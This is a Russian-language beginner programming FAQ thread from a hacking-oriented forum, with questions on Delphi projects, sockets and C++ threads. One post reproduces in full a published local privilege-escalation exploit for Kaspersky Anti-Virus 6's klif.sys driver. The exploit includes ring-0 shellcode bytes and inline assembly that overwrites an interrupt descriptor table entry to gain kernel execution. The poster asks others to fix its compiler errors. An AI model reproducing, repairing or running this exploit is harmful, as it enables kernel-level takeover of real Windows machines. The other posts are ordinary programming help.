Вопросы для новичков! (faq)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by PEPSICOLA, 26 Dec 2004.

  1. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    936
    Likes Received:
    396
    Reputations:
    261
    Хех снимай я жду :).
     
  2. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    2 Raider - примного благодарен :)
     
  3. mckie

    mckie New Member

    Joined:
    13 May 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Ну что народ так не кто и не сделает видео?
     
  4. neitral

    neitral Member

    Joined:
    3 Jun 2007
    Messages:
    6
    Likes Received:
    5
    Reputations:
    7
    вот вам видео уроки с++ http://www.reactioner.com/reaction/video.html
     
  5. Nokia3310

    Nokia3310 Banned

    Joined:
    27 Jul 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Я недавно начил изучать Delphi.Мне нужна цель - какую программу вы посоветуете написать.
     
    1 person likes this.
  6. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    мда...
    1. Hello World
    2. calc
    3. notepad
    4. TCP Server/Client
    5. BDE
    6. CGI
    7. BDE+CGI
     
  7. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    как включить поддержку acpi в ядре?)
     
  8. neitral

    neitral Member

    Joined:
    3 Jun 2007
    Messages:
    6
    Likes Received:
    5
    Reputations:
    7
    Мужики не поможете с эксплоитам вот сам эксплоит и какие ошибки выдаёт при компиляцыи что сдесь нужна исправить. Буду примного блогадарен за помоч.
    Code:
    //	kav 6.0 0day local priv escalation exploit
    //		by m4d 
    //	http://unl0ck.net
    #include <windows.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    
    // r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"
    
    unsigned char Shellcode[405] = {
    	0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B, 
    	0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66, 
    	0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF, 
    	0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00, 
    	0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D, 
    	0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89, 
    	0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1, 
    	0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D, 
    	0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02, 
    	0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00, 
    	0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45, 
    	0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF, 
    	0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F, 
    	0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 
    	0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF, 
    	0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74, 
    	0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77, 
    	0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 
    	0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 
    	0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 
    	0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D, 
    	0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8, 
    	0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C, 
    	0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24, 
    	0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89, 
    	0x6C, 0x24, 0x1C, 0x61, 0xC3
    };
    
    
    
    
    typedef struct _FIRST_PARAM {
    	ULONG	SwitchIndex;
    	ULONG	Unknown;			// 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
    	ULONG	Value;				// this value will rewrite DWORD of memory
    } FIRST_PARAM, *PFIRST_PARAM;
    
    
    
    
    
    void main(int argc, char* argv[])
    {
    	__try
    	{
    		FIRST_PARAM			Param1;
    		ULONG				Param2;		// pointer to write DATA - 8
    		CHAR				Idtr[6];
    		CHAR				IsKAVInstalled;
    		OSVERSIONINFOEX		os;
    
    
    		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    		GetVersionEx((LPOSVERSIONINFO)&os);
    
    		if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
    			os.dwMajorVersion != 5 ||
    			os.dwMinorVersion > 1)
    		{
    			printf("This OS version unsupported\n");
    			return;
    		}
    
    		// Для начала определим, установлен ли KAV или нет
    
    		__asm {
    			cmp		os.dwMinorVersion, 0
    			jnz		short $+13
    			mov		eax, 0F8h		// 2k
    			jmp		short $+7
    			mov		eax, 11Ch		// xp
    			int		2Eh
    
    			cmp		eax, 0Ch
    			setz	al
    			mov		IsKAVInstalled, al
    		}
    
    		if (!IsKAVInstalled)
    		{
    			printf("KAV6 didn't installed\n");
    			return;
    		}
    
    		Param1.SwitchIndex = 3;		// Index of jmp in case of switch()
    		Param1.Unknown = 0xFF0002;
    
    		__asm {
    			pusha
    			sidt	Idtr
    
    			mov		eax, dword ptr [Idtr+2]
    
    			add		eax, 0DAh * 8 - 8
    			mov		Param2, eax
    
    			// Write lower DWORD IdtEntry
    
    			mov		ecx, offset Shellcode
    			and		ecx, 0000FFFFh
    			or		ecx, 00080000h
    			mov		Param1.Value, ecx	// Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]
    
    			push	Param2
    			lea		eax, Param1
    			push	eax
    
    			mov		edx, esp
    			cmp		os.dwMinorVersion, 0
    			jnz		short $+13
    			mov		eax, 100h		// 2k
    			jmp		short $+7
    			mov		eax, 124h		// xp
    			int		2Eh
    			add		esp, 2*4
    
    			// Write high DWORD IdtEntry
    
    			add		Param2, 4
    
    			mov		ecx, offset Shellcode
    			and		ecx, 0FFFF0000h
    			or		ecx,  0000EE00h
    			mov		Param1.Value, ecx	// Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]
    
    			push	Param2
    			lea		eax, Param1
    			push	eax
    
    			mov		edx, esp
    			cmp		os.dwMinorVersion, 0
    			jnz		short $+13
    			mov		eax, 100h		// 2k
    			jmp		short $+7
    			mov		eax, 124h		// xp
    			int		2Eh
    			add		esp, 2*4
    
    			// Call Gate :-) (COLGATE)
    
    			push	fs
    			int		0DAh
    			pop		fs
    
    			popa
    		}
    
    		printf("Exploited successful\n");
    	}
    	__except(1) {
    		printf("Can't create interrupt gate\n");
    	}
    }
    
    // 15.01.07 MaD
    
    // milw0rm.com [2007-01-15] 
    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    ВОТ ОШИБКИ :
    [C++ Error] 3131.c(78): E2017 Ambiguous member name 'dwMinorVersion'
    [C++ Error] 3131.c(78): E2510 Operand size mismatch
    [C++ Error] 3131.c(79): E2451 Undefined symbol 'short'
    [C++ Error] 3131.c(79): E2329 Invalid combination of opcode and operands
    [C++ Error] 3131.c(81): E2451 Undefined symbol 'short'
    [C++ Error] 3131.c(81): E2329 Invalid combination of opcode and operands
    [C++ Error] 3131.c(113): E2017 Ambiguous member name 'Value'
    [C++ Error] 3131.c(113): E2510 Operand size mismatch
    [C++ Error] 3131.c(120): E2017 Ambiguous member name 'dwMinorVersion'
    [C++ Error] 3131.c(120): E2510 Operand size mismatch
    [C++ Error] 3131.c(121): E2451 Undefined symbol 'short'
    [C++ Error] 3131.c(121): E2329 Invalid combination of opcode and operands
    [C++ Error] 3131.c(123): E2451 Undefined symbol 'short'
    [C++ Error] 3131.c(123): E2329 Invalid combination of opcode and operands
    [C++ Error] 3131.c(135): E2017 Ambiguous member name 'Value'
    [C++ Error] 3131.c(135): E2510 Operand size mismatch
    [C++ Error] 3131.c(142): E2017 Ambiguous member name 'dwMinorVersion'
    [C++ Error] 3131.c(142): E2510 Operand size mismatch
    [C++ Error] 3131.c(143): E2451 Undefined symbol 'short'
    [C++ Error] 3131.c(143): E2329 Invalid combination of opcode and operands
    [C++ Error] 3131.c(145): E2451 Undefined symbol 'short'
    [C++ Error] 3131.c(145): E2329 Invalid combination of opcode and operands
     
    #68 neitral, 26 Aug 2007
    Last edited by a moderator: 26 Aug 2007
  9. Emory

    Emory Member

    Joined:
    12 Mar 2006
    Messages:
    21
    Likes Received:
    6
    Reputations:
    5
    Знаю языки turbo pascal (еще в школе) html(создавать сайт приходилось) и еще изучал vb.net но потом чет он надоел....
    немного смотрел php perl но они сразу не даются...

    так вот вопрос: что сейчас стоит изучить???
    причем задач определенных нету...
    Просто невозможно жить не изучая ( :D )
    ну короче вот думаю.... не знай изучить до конца php чтоб в сайтах разбираться... а с другой вроде и проги для винды неплохо бы знать....
     
  10. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    а ничего сразу не дается))
    займись практикой php или начни c++/delphi. или, если совсем ничего не нравится, попробуй асм)
     
  11. lastsmile

    lastsmile Elder - Старейшина

    Joined:
    22 Sep 2007
    Messages:
    40
    Likes Received:
    10
    Reputations:
    0
    у меня вопрос по дельфи:
    где можно найти литературу по автозаполнению форм на веб странице. перечитал много статей, читал на форумах... основной базе научился, но встречается много нюансов, поэтому хотелось бы найти специальзированную литературу.
     
  12. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    lastsmile Я думаю нужно читать сразу специализированную литературу. Если не найти в сети, то в книжном магазине, т.к. это будет полная инфа.
     
    2 people like this.
  13. Loker

    Loker Elder - Старейшина

    Joined:
    25 Oct 2007
    Messages:
    46
    Likes Received:
    23
    Reputations:
    5
    Как включить сокеты на локальном серве?
     
  14. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    насколько я понял формулировку вопроса

    в среде вин для этого существует прикладной интерфейс Windows Sockets , во как , собственно ws2_32.dll
    http://www.codenet.ru/progr/visualc/socket.php
    http://www.microsoft.com/Rus/Msdn/Magazine/2005/08/Winsock.mspx
    в никсе юзай :
    Code:
    #include <sys/types.h>
    #include <sys/socket.h>
    int socket(int domain, int type, int protocol);
    (где Socket  создает  конечную точку соединения и возвращает ее описатель.)
    ну и , существует куча альтернативных компонентов и интерфейсов (например Indy в делфи)...

    MSDN + RTFM = )
     
    2 people like this.
  15. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Php не здесь
     
  16. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Может кто то будет настолько добр что набросает примерчик(С++).Как родить четко определенное число потоков А и как потом уменьшить его на число B
     
  17. SlyBit

    SlyBit Elder - Старейшина

    Joined:
    4 Jul 2008
    Messages:
    49
    Likes Received:
    8
    Reputations:
    0
    _nic

    Code:
    #define THREADS_NUMBER_A 10
    #define THREADS_NUMBER_B 4
    DWORD dwThreadsId[THREADS_NUMBER_A];
    HANDLE hThread;
    
    // Создаем потоки в количестве THREADS_NUMBER_A
    for(int i=0; i<THREADS_NUMBER_A; i++) {
        CreateThread(0, 0, (PTHREAD_START_ROUTINE)TestThread, 0, 0, &dwThreadsId[i]);
    }
        
    // Убиваем THREADS_NUMBER_B потоков
    for(int i=THREADS_NUMBER_A-1; i>=THREADS_NUMBER_A-THREADS_NUMBER_B; i--) {
        hThread = OpenThread(THREAD_TERMINATE, 0, dwThreadsId[i]);
        TerminateThread(hThread, 0);
    }
     
    1 person likes this.
  18. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Ещё один не большой вопрос :) Как привязать выполнение определенного потока(или группы потоков) к определенному физическому ядру проца?
     
  19. SlyBit

    SlyBit Elder - Старейшина

    Joined:
    4 Jul 2008
    Messages:
    49
    Likes Received:
    8
    Reputations:
    0
    SetThreadIdealProcessor(HANDLE hThread, DWORD dwIdealProcessor);

    dwIdealProcessor - № выбранного процессора
     
    1 person likes this.
  20. PEPSICOLA

    PEPSICOLA . . . . . 2L . . . . .

    Joined:
    14 Oct 2004
    Messages:
    1,025
    Likes Received:
    823
    Reputations:
    368
    Вообщем... нужно что бы профессионалы своего дела сделали плагины для icq/qip и т.д. - который будет называться PEPSIQ (пе-пси-кью).

    Он автоматически должен в конец отсылаемого сообщения вставлять несколько штук закрывающих скобок, к примеру, я пишу соощение "Привет". А этот плагин должен отправить адресату в таком виде:
    "Привет))))))"

    По изготовлению данного плагина, просьба писать мне в PM!
     
    6 people like this.